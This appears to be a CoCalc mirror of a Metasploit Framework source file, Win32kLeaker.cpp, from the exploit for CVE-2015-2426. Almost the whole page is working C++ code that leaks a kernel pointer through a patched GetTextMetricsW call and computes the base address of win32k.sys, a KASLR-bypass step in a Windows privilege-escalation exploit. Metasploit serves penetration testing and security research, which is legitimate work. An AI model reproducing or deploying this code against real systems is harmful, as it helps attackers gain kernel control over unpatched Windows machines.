CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp
Views: 11789
1
#include <Windows.h>
2
#include "Win32kLeaker.h"
3
#include <intrin.h>
4
5
extern "C" VOID MyGetTextMetricsW(HDC, LPTEXTMETRICW, DWORD);
6
static const int InfoLeakBuffer = 0x40000000;
7
8
// Don't make a const so the compiler stores it on .data
9
static ULONGLONG InfoLeakOffset = 0xdeedbeefdeedbe00;
10
11
// Leak the base address of `win32k.sys`. This infoleak is slightly different from
12
// the standalone infoleak because we need to handle the position-independent nature
13
// of this exploit.
14
ULONGLONG LeakWin32kAddress() {
15
ULONGLONG win32kBaseAddr = 0;
16
HDC hdc = NULL;
17
DWORD hi = 0;
18
DWORD lo = 0;
19
20
VirtualAlloc((LPVOID)InfoLeakBuffer, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
21
22
hdc = CreateCompatibleDC(NULL);
23
if (hdc == NULL) {
24
return NULL;
25
}
26
27
// Leak the address and retrieve it from `buffer`.
28
MyGetTextMetricsW(hdc, (LPTEXTMETRICW)InfoLeakBuffer, 0x44);
29
30
hi = *(DWORD *)(InfoLeakBuffer + 0x38 + 4); // High DWORD of leaked address
31
lo = *(DWORD *)(InfoLeakBuffer + 0x38); // Low DWORD of leaked address
32
33
// Check: High DWORD should be a kernel-mode address (i.e.
34
// 0xffff0800`00000000). We make the check stricter by checking for a
35
// subset of kernel-mode addresses.
36
if ((hi & 0xfffff000) != 0xfffff000) {
37
return NULL;
38
}
39
40
// Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using
41
// the following computation.
42
win32kBaseAddr = ((ULONGLONG)hi << 32) | lo;
43
44
// Adjust for offset to get base address of `win32k.sys`.
45
win32kBaseAddr = win32kBaseAddr - InfoLeakOffset;
46
47
// Check: Base address of `win32k.sys` should be of the form
48
// 0xFFFFFxxx`00xxx000.
49
if ((win32kBaseAddr & 0xff000fff) != 0) {
50
return NULL;
51
}
52
53
DeleteDC(hdc);
54
return win32kBaseAddr;
55
}
56